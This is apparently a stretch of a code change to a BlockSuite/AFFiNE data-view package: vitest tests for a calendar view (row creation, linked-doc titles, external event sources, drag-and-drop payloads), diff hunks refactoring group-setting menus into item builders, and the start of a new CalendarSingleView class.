expect(values.get('row-1:date')).toBe(day('2026-05-17'));
view.resizeRowRange('row-1', 'end', day('2026-05-14'));
expect(values.get('row-1:end-date')).toBe(day('2026-05-17'));
});
it('creates a row with default filter values and target date', () => {
const { view, values } = createCalendarView({
startColumnId: 'date',
filterValue: 'Done',
});
const rowId = view.createRowOnDate(day('2026-05-25'));
expect(rowId).toBe('row-2');
expect(values.get('row-2:date')).toBe(day('2026-05-25'));
expect(values.get('row-2:status')).toBe('Done');
expect(view.emptyMonthHintDismissed$.value).toBe(true);
});
it('creates a dated linked-doc row', () => {
const { view, values } = createCalendarView({
startColumnId: 'date',
filterValue: 'Done',
});
const rowId = view.createLinkedDocRowOnDate(day('2026-05-25'), 'doc-1');
const title = values.get('row-2:title') as
| { toDelta?: () => unknown[] }
| undefined;
expect(rowId).toBe('row-2');
expect(values.get('row-2:date')).toBe(day('2026-05-25'));
expect(values.get('row-2:status')).toBe('Done');
expect(title?.toDelta?.()).toEqual([
{
insert: ' ',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-1',
},
},
},
]);
});
it('dismisses the empty month hint on the current calendar view', () => {
const { view, viewData } = createCalendarView({
startColumnId: 'date',
});
expect(view.emptyMonthHintDismissed$.value).toBe(false);
view.dismissEmptyMonthHint();
expect(view.emptyMonthHintDismissed$.value).toBe(true);
expect('ui' in viewData.value && viewData.value.ui).toEqual({
emptyMonthHintDismissed: true,
});
});
it('updates workspace calendar settings when legacy view data has no sources', () => {
const { view, viewData } = createCalendarView({
startColumnId: 'date',
});
viewData.value = {
...viewData.value,
sources: undefined as unknown as CalendarStoredViewData['sources'],
};
view.setWorkspaceCalendarEnabled(false);
expect(viewData.value.sources.workspaceCalendar).toEqual({
enabled: false,
});
});
it('enters setup state when legacy view data has no date config', () => {
const { view, viewData } = createCalendarView({
startColumnId: 'date',
endColumnId: 'end-date',
});
viewData.value = {
...viewData.value,
date: undefined as unknown as CalendarStoredViewData['date'],
};
expect(view.dateMapping$.value).toEqual({
status: 'setup',
propertyId: undefined,
});
expect(view.endDateMapping$.value).toEqual({
status: 'setup',
propertyId: undefined,
});
});
it('generates card properties from visible property ids', () => {
const { view } = createCalendarView({
startColumnId: 'date',
visiblePropertyIds: ['status'],
});
expect(view.rowEntries$.value[0]?.cardProperties).toEqual([
{
propertyId: 'status',
value: 'Done',
},
]);
});
it('parses single linked doc id from title cell', () => {
const { view } = createCalendarView({
startColumnId: 'date',
linkedDocTitles: {
'doc-1': 'Linked doc title',
},
titleValue: {
deltas$: {
value: [
{
insert: 'Doc',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-1',
},
},
},
],
},
},
});
expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
{ text: 'Linked doc title', linkedDoc: true },
]);
expect(view.rowEntries$.value[0]?.title).toBe('Linked doc title');
});
it('uses normal title text for multiple linked doc titles', () => {
const { view } = createCalendarView({
startColumnId: 'date',
linkedDocTitles: {
'doc-1': 'Doc 1',
'doc-2': 'Doc 2',
},
titleValue: {
deltas$: {
value: [
{
insert: 'Doc 1',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-1',
},
},
},
{
insert: 'Doc 2',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-2',
},
},
},
],
},
},
});
expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
{ text: 'Doc 1', linkedDoc: true },
{ text: 'Doc 2', linkedDoc: true },
]);
expect(view.rowEntries$.value[0]?.title).toBe('Doc 1Doc 2');
});
it('falls back to the resolved title when linked doc deltas only contain placeholders', () => {
const { view } = createCalendarView({
startColumnId: 'date',
linkedDocTitles: {
'doc-1': 'Doc 1',
'doc-2': 'Doc 2',
},
titleValue: {
deltas$: {
value: [
{
insert: ' ',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-1',
},
},
},
{
insert: ' ',
attributes: {
reference: {
type: 'LinkedPage',
pageId: 'doc-2',
},
},
},
],
},
},
});
expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
{ text: 'Doc 1', linkedDoc: true },
{ text: 'Doc 2', linkedDoc: true },
]);
});
it('merges linked doc placeholders with the following plain title text', () => {
const { view } = createCalendarView({
startColumnId: 'date',
titleValue: {
deltas$: {
value: [
{
insert: ' ',
attributes: {
reference: { type: 'LinkedPage', pageId: 'doc-1' },
},
},
{ insert: 'How to use folder and Tags' },
],
},
},
});
expect(view.rowEntries$.value[0]?.titleSegments).toEqual([
{ text: 'How to use folder and Tags', linkedDoc: true },
]);
});
it('updates date mapping through setup APIs', () => {
const { view, viewData, values } = createCalendarView({
startColumnId: 'date',
});
view.moveRowToDate('row-1', day('2026-05-21'));
expect(values.get('row-1:date')).toBe(day('2026-05-21'));
view.setDateColumn('date');
expect('date' in viewData.value && viewData.value.date.startColumnId).toBe(
'date'
);
expect(view.createDateColumn()).toBe('created-date');
expect('date' in viewData.value && viewData.value.date.startColumnId).toBe(
'created-date'
);
});
it('aggregates external source entries without mutating view data', async () => {
const externalEntry = {
kind: 'external',
id: 'external:1',
sourceId: 'source',
externalId: '1',
title: 'External',
startAt: day('2026-05-15'),
canResizeRange: false,
} as const;
const anotherExternalEntry = {
kind: 'external',
id: 'external:2',
sourceId: 'another-source',
externalId: '2',
title: 'Another external',
startAt: day('2026-05-16'),
canResizeRange: false,
} as const;
const { view, viewData } = createCalendarView({
startColumnId: 'date',
externalFactories: new Map([
[
'source',
{
create: () => ({
id: 'source',
getEntries: () => [externalEntry],
}),
},
],
[
'another-source',
{
create: () => ({
id: 'another-source',
getEntries: () => Promise.resolve([anotherExternalEntry]),
}),
},
],
]),
});
const viewDataBefore = JSON.stringify(viewData.value);
await expect(
view.loadExternalEntries({
from: day('2026-05-01'),
to: day('2026-05-31'),
})
).resolves.toEqual([externalEntry, anotherExternalEntry]);
expect(JSON.stringify(viewData.value)).toBe(viewDataBefore);
});
it('keeps successful external entries when another source fails', async () => {
const externalEntry = {
kind: 'external',
id: 'external:1',
sourceId: 'source',
externalId: '1',
title: 'External',
startAt: day('2026-05-15'),
canResizeRange: false,
} as const;
const { view } = createCalendarView({
startColumnId: 'date',
externalFactories: new Map([
[
'source',
{
create: () => ({
id: 'source',
getEntries: () => [externalEntry],
}),
},
],
[
'failing-source',
{
create: () => ({
id: 'failing-source',
getEntries: () => Promise.reject(new Error('denied')),
}),
},
],
]),
});
await expect(
view.loadExternalEntries({
from: day('2026-05-01'),
to: day('2026-05-31'),
})
).resolves.toEqual([externalEntry]);
});
it('does not let stale external entry loads overwrite newer entries', async () => {
const oldEntry = {
kind: 'external',
id: 'external:old',
sourceId: 'source',
externalId: 'old',
title: 'Old',
startAt: day('2026-05-15'),
canResizeRange: false,
} as const;
const newEntry = {
kind: 'external',
id: 'external:new',
sourceId: 'source',
externalId: 'new',
title: 'New',
startAt: day('2026-06-15'),
canResizeRange: false,
} as const;
let resolveOld!: (entries: [typeof oldEntry]) => void;
let resolveNew!: (entries: [typeof newEntry]) => void;
const oldRequest = new Promise<[typeof oldEntry]>(resolve => {
resolveOld = resolve;
});
const newRequest = new Promise<[typeof newEntry]>(resolve => {
resolveNew = resolve;
});
const getEntries = vi
.fn()
.mockReturnValueOnce(oldRequest)
.mockReturnValueOnce(newRequest);
const { view } = createCalendarView({
startColumnId: 'date',
externalFactories: new Map([
[
'source',
{
create: () => ({
id: 'source',
getEntries,
}),
},
],
]),
});
const firstLoad = view.loadExternalEntries({
from: day('2026-05-01'),
to: day('2026-05-31'),
});
const secondLoad = view.loadExternalEntries({
from: day('2026-06-01'),
to: day('2026-06-30'),
});
resolveNew([newEntry]);
await expect(secondLoad).resolves.toEqual([newEntry]);
expect(
view.entries$.value.filter(entry => entry.kind === 'external')
).toEqual([newEntry]);
resolveOld([oldEntry]);
await expect(firstLoad).resolves.toEqual([oldEntry]);
expect(
view.entries$.value.filter(entry => entry.kind === 'external')
).toEqual([newEntry]);
});
});
describe('calendar entry actions', () => {
it('formats external event popover time ranges with end time', () => {
const label = formatEntryTime({
kind: 'external',
id: 'external:1',
sourceId: 'workspace-calendar',
externalId: '1',
title: 'Planning',
startAt: new Date('2026-05-15T10:00:00').getTime(),
endAt: new Date('2026-05-15T11:00:00').getTime(),
canResizeRange: false,
});
expect(label).toContain(' - ');
expect(label).toContain('2026');
});
it('opens row entries through the detail panel hook', () => {
const openDetailPanel = vi.fn();
const { view } = createCalendarView({ startColumnId: 'date' });
const target = {} as HTMLElement;
openCalendarEntry(
{ openDetailPanel } as any,
view,
{
kind: 'row',
id: 'database:row-1',
sourceId: 'database',
rowId: 'row-1',
title: 'Doc',
startAt: day('2026-05-15'),
cardProperties: [],
canResizeRange: false,
},
target
);
expect(openDetailPanel).toHaveBeenCalledWith(
expect.objectContaining({ view, rowId: 'row-1' })
);
});
});
describe('calendar view converts', () => {
it('converts header/card semantics without date mapping', () => {
const tableToCalendar = viewConverts.find(
convert => convert.from === 'table' && convert.to === 'calendar'
);
const calendarToKanban = viewConverts.find(
convert => convert.from === 'calendar' && convert.to === 'kanban'
);
const filter = { type: 'group', op: 'and', conditions: [] } as const;
const sort = { columns: [] };
const header = { titleColumn: 'title' };
expect(tableToCalendar?.convert({ filter, sort, header } as any)).toEqual({
filter,
sort,
card: { titleColumnId: 'title', visiblePropertyIds: [] },
});
expect(
calendarToKanban?.convert({
filter,
sort,
card: { titleColumnId: 'title', visiblePropertyIds: ['status'] },
date: { startColumnId: 'date' },
} as any)
).toEqual({ filter, sort, header });
});
});
describe('calendar dnd payload', () => {
it('reads calendar entry payloads from blocksuite dnd data', () => {
expect(
getCalendarDndEntity({
bsEntity: { type: 'calendar-entry', entryId: 'database:row-1' },
})
).toEqual({ type: 'calendar-entry', entryId: 'database:row-1' });
});
it('normalizes affine doc entities for future document drops', () => {
expect(
getCalendarDndEntity({
entity: { type: 'doc', id: 'doc-1' },
})
).toEqual({ type: 'doc', docId: 'doc-1' });
});
it('reads document payloads from blocksuite dnd data', () => {
expect(
getCalendarDndEntity({ bsEntity: { type: 'doc', docId: 'doc-1' } })
).toEqual({ type: 'doc', docId: 'doc-1' });
});
});
@@ -8,6 +8,7 @@ import { BlockSuiteError } from '@blocksuite/global/exceptions';
import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
import {
type Clipboard,
type DndController,
type EventName,
ShadowlessElement,
type UIEventHandler,
@@ -29,6 +30,7 @@ import type { DataViewWidget } from './widget/index.js';
export type DataViewRendererConfig = {
clipboard: Clipboard;
dnd?: DndController;
onDrag?: (evt: MouseEvent, id: string) => () => void;
notification: {
toast: (message: string) => void;
@@ -2,15 +2,10 @@ import {
dropdownSubMenuMiddleware,
menu,
type MenuConfig,
type MenuOptions,
popMenu,
type PopupTarget,
} from '@blocksuite/affine-components/context-menu';
import { SignalWatcher, WithDisposable } from '@blocksuite/global/lit';
import { DeleteIcon, InvisibleIcon, ViewIcon } from '@blocksuite/icons/lit';
import { ShadowlessElement } from '@blocksuite/std';
import type { Middleware } from '@floating-ui/dom';
import { autoPlacement, offset, shift } from '@floating-ui/dom';
import { computed } from '@preact/signals-core';
import { cssVarV2 } from '@toeverything/theme/v2';
import { css, html, unsafeCSS } from 'lit';
@@ -260,188 +255,183 @@ export class GroupSetting extends SignalWatcher(
@query('.group-sort-setting') accessor groupContainer!: HTMLElement;
}
export const selectGroupByProperty = (
export const buildGroupSelectItems = (
group: GroupTrait,
ops?: {
onSelect?: (id?: string) => void;
onClose?: () => void;
onBack?: () => void;
}
): MenuOptions => {
onSelect: (id?: string) => void
): MenuConfig[] => {
const view = group.view;
return {
onClose: ops?.onClose,
title: { text: 'Group by', onBack: ops?.onBack, onClose: ops?.onClose },
items: [
menu.group({
items: view.propertiesRaw$.value
.filter(property => {
if (property.type$.value === 'title') {
return false;
}
if (view instanceof KanbanSingleView) {
return canGroupable(view.manager.dataSource, property.id);
}
const dataType = property.dataType$.value;
if (!dataType) {
return false;
}
const groupByService = getGroupByService(view.manager.dataSource);
return !!groupByService?.matcher.match(dataType);
})
.map<MenuConfig>(property => {
return menu.action({
name: property.name$.value,
isSelected: group.property$.value?.id === property.id,
prefix: html` <uni-lit .uni="${property.icon}"></uni-lit>`,
select: () => {
group.changeGroup(property.id);
ops?.onSelect?.(property.id);
},
});
}),
}),
menu.group({
items: [
return [
menu.group({
items: view.propertiesRaw$.value
.filter(property => {
if (property.type$.value === 'title') {
return false;
}
if (view instanceof KanbanSingleView) {
return canGroupable(view.manager.dataSource, property.id);
}
const dataType = property.dataType$.value;
if (!dataType) {
return false;
}
const groupByService = getGroupByService(view.manager.dataSource);
return !!groupByService?.matcher.match(dataType);
})
.map<MenuConfig>(property =>
menu.action({
prefix: DeleteIcon(),
hide: () =>
view instanceof KanbanSingleView || !group.property$.value,
class: { 'delete-item': true },
name: 'Remove Grouping',
name: property.name$.value,
isSelected: group.property$.value?.id === property.id,
prefix: html`<uni-lit .uni="${property.icon}"></uni-lit>`,
select: () => {
group.changeGroup(undefined);
ops?.onSelect?.();
group.changeGroup(property.id);
onSelect(property.id);
return false;
},
}),
],
}),
],
};
})
),
}),
menu.group({
items: [
menu.action({
prefix: DeleteIcon(),
hide: () =>
view instanceof KanbanSingleView || !group.property$.value,
class: { 'delete-item': true },
name: 'Remove Grouping',
select: () => {
group.changeGroup(undefined);
onSelect(undefined);
return false;
},
}),
],
}),
];
};
export const popSelectGroupByProperty = (
target: PopupTarget,
export const buildGroupSettingItems = (
group: GroupTrait,
ops?: { onSelect?: () => void; onClose?: () => void; onBack?: () => void },
middleware?: Array<Middleware | null | undefined | false>
) => {
const handler = popMenu(target, {
options: selectGroupByProperty(group, ops),
middleware,
});
handler.menu.menuElement.style.minHeight = '550px';
};
export const popGroupSetting = (
target: PopupTarget,
group: GroupTrait,
onBack: () => void,
onClose?: () => void,
middleware?: Array<Middleware | null | undefined | false>
) => {
onGroupByClick: () => void,
onGroupRemoved?: () => void
): MenuConfig[] => {
const view = group.view;
const gProp = group.property$.value;
if (!gProp) return;
if (!gProp) return [];
const type = gProp.type$.value;
if (!type) return;
if (!type) return [];
const icon = gProp.icon;
const menuHandler = popMenu(target, {
options: {
title: {
text: 'Group',
onBack,
onClose,
},
items: [
menu.group({
items: [
menu.action({
name: 'Group By',
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
class="dv-icon-16"
>
${renderUniLit(icon, {})} ${gProp.name$.value}
</div>
`,
select: () => {
const subHandler = popMenu(target, {
options: selectGroupByProperty(group, {
onSelect: () => {
menuHandler.close();
popGroupSetting(
target,
group,
onBack,
onClose,
middleware
);
},
onBack: () => {
menuHandler.close();
popGroupSetting(
target,
group,
onBack,
onClose,
middleware
);
},
onClose,
}),
middleware: [
autoPlacement({
allowedPlacements: ['bottom-start', 'top-start'],
}),
offset({ mainAxis: 15, crossAxis: -162 }),
shift({ crossAxis: true }),
],
});
subHandler.menu.menuElement.style.minHeight = '550px';
},
}),
],
}),
...(type === 'date'
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Date by',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:30px;"
>
${dateModeLabel(group.groupInfo$.value?.config.name)}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
['Relative', 'date-relative'],
['Day', 'date-day'],
return [
menu.group({
items: [
menu.action({
name: 'Group By',
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
class="dv-icon-16"
>
${renderUniLit(icon, {})} ${gProp.name$.value}
</div>
`,
select: () => {
onGroupByClick();
return false;
},
}),
],
}),
...(type === 'date'
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Date by',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:30px;"
>
${dateModeLabel(group.groupInfo$.value?.config.name)}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
['Relative', 'date-relative'],
['Day', 'date-day'],
[
'Week',
group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'date-week-mon'
: 'date-week-sun',
],
['Month', 'date-month'],
['Year', 'date-year'],
] as [string, string][]
).map(
([label, key]): MenuConfig =>
menu.action({
name: label,
label: () => {
const isSelected =
group.groupInfo$.value?.config.name === key;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>${label}</span
>`;
},
isSelected:
group.groupInfo$.value?.config.name === key,
select: () => {
group.changeGroupMode(key);
return false;
},
})
)
),
],
},
}),
]),
],
}),
...(group.groupInfo$.value?.config.name?.startsWith('date-week')
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Start week on',
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'Monday'
: 'Sunday'}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
'Week',
group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'date-week-mon'
: 'date-week-sun',
],
['Month', 'date-month'],
['Year', 'date-year'],
] as [string, string][]
).map(
([label, key]): MenuConfig =>
['Monday', 'date-week-mon'],
['Sunday', 'date-week-sun'],
] as [string, string][]
).map(([label, key]) =>
menu.action({
name: label,
label: () => {
@@ -462,179 +452,118 @@ export const popGroupSetting = (
return false;
},
})
)
),
],
},
}),
]),
],
}),
)
),
],
},
}),
]),
],
}),
]
: []),
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Sort',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.sortAsc$.value ? 'Oldest first' : 'Newest first'}
</div>
`,
options: {
items: [
menu.dynamic(() => [
menu.action({
name: 'Oldest first',
label: () => {
const isSelected = group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Oldest first</span
>`;
},
isSelected: group.sortAsc$.value,
select: () => {
group.setDateSortOrder(true);
return false;
},
}),
menu.action({
name: 'Newest first',
label: () => {
const isSelected = !group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Newest first</span
>`;
},
isSelected: !group.sortAsc$.value,
select: () => {
group.setDateSortOrder(false);
return false;
},
}),
]),
],
},
}),
]),
],
}),
]
: []),
...(group.groupInfo$.value?.config.name?.startsWith('date-week')
? [
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Start week on',
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.groupInfo$.value?.config.name ===
'date-week-mon'
? 'Monday'
: 'Sunday'}
</div>
`,
options: {
items: [
menu.dynamic(() =>
(
[
['Monday', 'date-week-mon'],
['Sunday', 'date-week-sun'],
] as [string, string][]
).map(([label, key]) =>
menu.action({
name: label,
label: () => {
const isSelected =
group.groupInfo$.value?.config
.name === key;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>${label}</span
>`;
},
isSelected:
group.groupInfo$.value?.config.name ===
key,
select: () => {
group.changeGroupMode(key);
return false;
},
})
)
),
],
},
}),
]),
],
}),
]
: []),
menu.group({
items: [
menu.dynamic(() => [
menu.subMenu({
name: 'Sort',
openOnHover: false,
middleware: dropdownSubMenuMiddleware,
autoHeight: true,
postfix: html`
<div
style="display:flex;align-items:center;gap:4px;font-size:14px;line-height:20px;color:var(--affine-text-secondary-color);margin-left:8px;"
>
${group.sortAsc$.value
? 'Oldest first'
: 'Newest first'}
</div>
`,
options: {
items: [
menu.dynamic(() => [
menu.action({
name: 'Oldest first',
label: () => {
const isSelected = group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Oldest first</span
>`;
},
isSelected: group.sortAsc$.value,
select: () => {
group.setDateSortOrder(true);
return false;
},
}),
menu.action({
name: 'Newest first',
label: () => {
const isSelected = !group.sortAsc$.value;
return html`<span
style="font-size:14px;color:${isSelected
? 'var(--affine-text-emphasis-color)'
: 'var(--affine-text-secondary-color)'}"
>Newest first</span
>`;
},
isSelected: !group.sortAsc$.value,
select: () => {
group.setDateSortOrder(false);
return false;
},
}),
]),
],
},
}),
]),
],
}),
]
: []),
menu.group({
items: [
menu.dynamic(() => [
menu.action({
name: 'Hide empty groups',
isSelected: group.hideEmpty$.value,
select: () => {
group.setHideEmpty(!group.hideEmpty$.value);
return false;
},
}),
]),
],
}),
menu.group({
items: [
menuObj => html`
<data-view-group-setting
@mouseenter=${() => menuObj.closeSubMenu()}
.groupTrait=${group}
.columnId=${gProp.id}
></data-view-group-setting>
`,
],
}),
menu.group({
items: [
menu.dynamic(() => [
menu.action({
name: 'Hide empty groups',
isSelected: group.hideEmpty$.value,
select: () => {
group.setHideEmpty(!group.hideEmpty$.value);
return false;
},
}),
]),
],
}),
menu.group({
items: [
menu => html`
<data-view-group-setting
@mouseenter=${() => menu.closeSubMenu()}
.groupTrait=${group}
.columnId=${gProp.id}
></data-view-group-setting>
`,
],
}),
menu.group({
items: [
menu.action({
name: 'Remove grouping',
prefix: DeleteIcon(),
class: { 'delete-item': true },
hide: () => !(view instanceof TableSingleView),
select: () => {
group.changeGroup(undefined);
return false;
},
}),
],
menu.group({
items: [
menu.action({
name: 'Remove grouping',
prefix: DeleteIcon(),
class: { 'delete-item': true },
hide: () => !(view instanceof TableSingleView),
select: () => {
group.changeGroup(undefined);
onGroupRemoved?.();
return false;
},
}),
],
},
middleware,
});
menuHandler.menu.menuElement.style.minHeight = '550px';
}),
];
};
@@ -0,0 +1,605 @@
import { DocDisplayMetaProvider } from '@blocksuite/affine-shared/services';
import type { AffineTextAttributes } from '@blocksuite/affine-shared/types';
import type { InsertToPosition } from '@blocksuite/affine-shared/utils';
import { type DeltaInsert, Text } from '@blocksuite/store';
import { computed, type ReadonlySignal, signal } from '@preact/signals-core';
import { Doc } from 'yjs';
import { evalFilter } from '../../core/filter/eval.js';
import { generateDefaultValues } from '../../core/filter/generate-default-values.js';
import { FilterTrait, filterTraitKey } from '../../core/filter/trait.js';
import type { FilterGroup } from '../../core/filter/types.js';
import { emptyFilterGroup } from '../../core/filter/utils.js';
import { fromJson } from '../../core/property/utils';
import { SortManager, sortTraitKey } from '../../core/sort/manager.js';
import { PropertyBase } from '../../core/view-manager/property.js';
import { type Row, RowBase } from '../../core/view-manager/row.js';
import {
type SingleView,
SingleViewBase,
} from '../../core/view-manager/single-view.js';
import type { ViewManager } from '../../core/view-manager/view-manager.js';
import { getCalendarExternalSources } from './source.js';
import type {
CalendarEntry,
CalendarEntryRange,
CalendarExternalEntry,
CalendarExternalSource,
CalendarRowEntry,
CalendarStoredViewData,
CalendarTitleSegment,
} from './types.js';
export type CalendarDateMapping =
| {
status: 'ready';
propertyId: string;
}
| {
status: 'setup';
propertyId?: string;
};
const getStartColumnId = (data?: CalendarStoredViewData) =>
data?.date?.startColumnId;
const getEndColumnId = (data?: CalendarStoredViewData) => {
return data?.date?.endColumnId;
};
const getDateData = (data: CalendarStoredViewData) => ({
...data.date,
startColumnId: getStartColumnId(data),
});
const getCardData = (data?: CalendarStoredViewData) => {
if (data) {
return data.card;
}
return {
visiblePropertyIds: [],
};
};
const toTimestamp = (date: number | Date) =>
date instanceof Date ? date.getTime() : date;
const isValidTimestamp = (value: unknown): value is number =>
typeof value === 'number' && Number.isFinite(value);
const createLinkedDocTitle = (docId: string) => {
const text = new Text<AffineTextAttributes>();
new Doc().getMap('root').set('text', text.yText);
text.applyDelta([
{
insert: ' ',
attributes: { reference: { type: 'LinkedPage', pageId: docId } },
},
] satisfies DeltaInsert<AffineTextAttributes>[]);
return text;
};
const getTitleDeltas = (value: unknown) =>
typeof value === 'object' && value != null && 'deltas$' in value
? (value as { deltas$?: { value?: unknown } }).deltas$?.value
: undefined;
const getTitleSegments = (
value: unknown,
title: string,
getLinkedDocTitle?: (pageId: string, title?: string) => string | undefined
): CalendarTitleSegment[] | undefined => {
const deltas = getTitleDeltas(value);
if (!Array.isArray(deltas)) {
return;
}
const segments = deltas.flatMap(delta => {
const item = delta as {
insert?: unknown;
attributes?: {
reference?: {
type?: string;
pageId?: unknown;
title?: unknown;
};
};
};
const linkedDoc =
item.attributes?.reference?.type === 'LinkedPage' &&
typeof item.attributes.reference.pageId === 'string';
const referenceTitle = item.attributes?.reference?.title;
const resolvedLinkedDocTitle =
linkedDoc && typeof item.attributes?.reference?.pageId === 'string'
? getLinkedDocTitle?.(
item.attributes.reference.pageId,
typeof referenceTitle === 'string' ? referenceTitle : undefined
)
: undefined;
const text =
resolvedLinkedDocTitle ||
(linkedDoc && typeof referenceTitle === 'string' && referenceTitle
? referenceTitle
: typeof item.insert === 'string'
? item.insert.trim()
: '');
if (linkedDoc) {
return {
text,
linkedDoc,
};
}
if (!text) {
return [];
}
return {
text,
};
});
const normalizedSegments = segments.reduce<CalendarTitleSegment[]>(
(result, segment) => {
const previous = result.at(-1);
if (
previous?.linkedDoc &&
!previous.text &&
!segment.linkedDoc &&
segment.text
) {
previous.text = segment.text;
return result;
}
result.push(segment);
return result;
},
[]
);
if (!normalizedSegments.some(segment => segment.linkedDoc)) {
return;
}
if (!normalizedSegments.some(segment => segment.text)) {
return title
? [...normalizedSegments, { text: title }]
: normalizedSegments;
}
return normalizedSegments;
};
export class CalendarSingleView extends SingleViewBase<CalendarStoredViewData> {
private readonly externalEntries$ = signal<CalendarExternalEntry[]>([]);
private externalEntriesRequestId = 0;
propertiesRaw$ = computed(() => {
return this.dataSource.properties$.value.map(id =>
this.propertyGetOrCreate(id)
);
});
properties$ = this.propertiesRaw$;
detailProperties$ = computed(() => {
return this.propertiesRaw$.value.filter(
property => property.type$.value !== 'title'
);
});
private readonly filter$ = computed(() => {
return this.data$.value?.filter ?? emptyFilterGroup;
});
private readonly sortList$ = computed(() => {
return this.data$.value?.sort;
});
emptyMonthHintDismissed$ = computed(() => {
return this.data$.value?.ui?.emptyMonthHintDismissed ?? false;
});
private readonly sortManager = this.traitSet(
sortTraitKey,
new SortManager(this.sortList$, this, {
setSortList: sortList => {
this.dataUpdate(data => ({
sort: {
...data.sort,
...sortList,
},
}));
},
})
);
filterTrait = this.traitSet(
filterTraitKey,
new FilterTrait(this.filter$, this, {
filterSet: (filter: FilterGroup) => {
this.dataUpdate(() => ({ filter }));
},
})
);
mainProperties$ = computed(() => {
const card = getCardData(this.data$.value);
return {
titleColumn:
card.titleColumnId ??
this.propertiesRaw$.value.find(
property => property.type$.value === 'title'
)?.id,
};
});
readonly$ = computed(() => {
return this.manager.readonly$.value;
});
dateProperties$ = computed(() => {
return this.propertiesRaw$.value.filter(
property => property.type$.value === 'date'
);
});
dateMapping$: ReadonlySignal<CalendarDateMapping> = computed(() => {
const propertyId = getStartColumnId(this.data$.value);
if (
propertyId &&
this.dataSource.properties$.value.includes(propertyId) &&
this.dataSource.propertyTypeGet(propertyId) === 'date'
) {
return {
status: 'ready',
propertyId,
};
}
return {
status: 'setup',
propertyId,
};
});
startDateMapping$ = this.dateMapping$;
endDateMapping$: ReadonlySignal<CalendarDateMapping> = computed(() => {
const propertyId = getEndColumnId(this.data$.value);
if (
propertyId &&
this.dataSource.properties$.value.includes(propertyId) &&
this.dataSource.propertyTypeGet(propertyId) === 'date'
) {
return {
status: 'ready',
propertyId,
};
}
return {
status: 'setup',
propertyId,
};
});
private readonly visibleCardProperties$ = computed(() => {
const card = getCardData(this.data$.value);
const visiblePropertyIds = card.visiblePropertyIds ?? [];
const titleColumn = card.titleColumnId;
return visiblePropertyIds
.filter(propertyId => propertyId !== titleColumn)
.map(propertyId => this.propertyGetOrCreate(propertyId));
});
rowEntries$ = computed<CalendarRowEntry[]>(() => {
const mapping = this.dateMapping$.value;
if (mapping.status !== 'ready') {
return [];
}
const endMapping = this.endDateMapping$.value;
return this.rows$.value.flatMap(row => {
const startAt = this.cellGetOrCreate(row.rowId, mapping.propertyId)
.jsonValue$.value;
if (!isValidTimestamp(startAt)) {
return [];
}
const endAt =
endMapping.status === 'ready'
? this.cellGetOrCreate(row.rowId, endMapping.propertyId).jsonValue$
.value
: undefined;
const titleColumn = this.mainProperties$.value.titleColumn ?? 'title';
const titleCell = this.cellGetOrCreate(row.rowId, titleColumn);
const jsonTitle = titleCell.jsonValue$.value;
const title =
(typeof jsonTitle === 'string'
? jsonTitle
: titleCell.stringValue$.value) ?? '';
const docDisplayMeta = this.manager.dataSource.serviceGet(
DocDisplayMetaProvider
);
const resolveLinkedDocTitle = (pageId: string, title?: string) =>
docDisplayMeta?.title(pageId, { title }).value;
const titleSegments = getTitleSegments(
titleCell.value$.value,
title,
resolveLinkedDocTitle
);
const cardProperties = this.visibleCardProperties$.value.flatMap(
property => {
const cell = this.cellGetOrCreate(row.rowId, property.id);
const value = cell.stringValue$.value;
if (!value) {
return [];
}
return {
propertyId: property.id,
value,
};
}
);
return {
kind: 'row',
id: `database:${row.rowId}`,
sourceId: 'database',
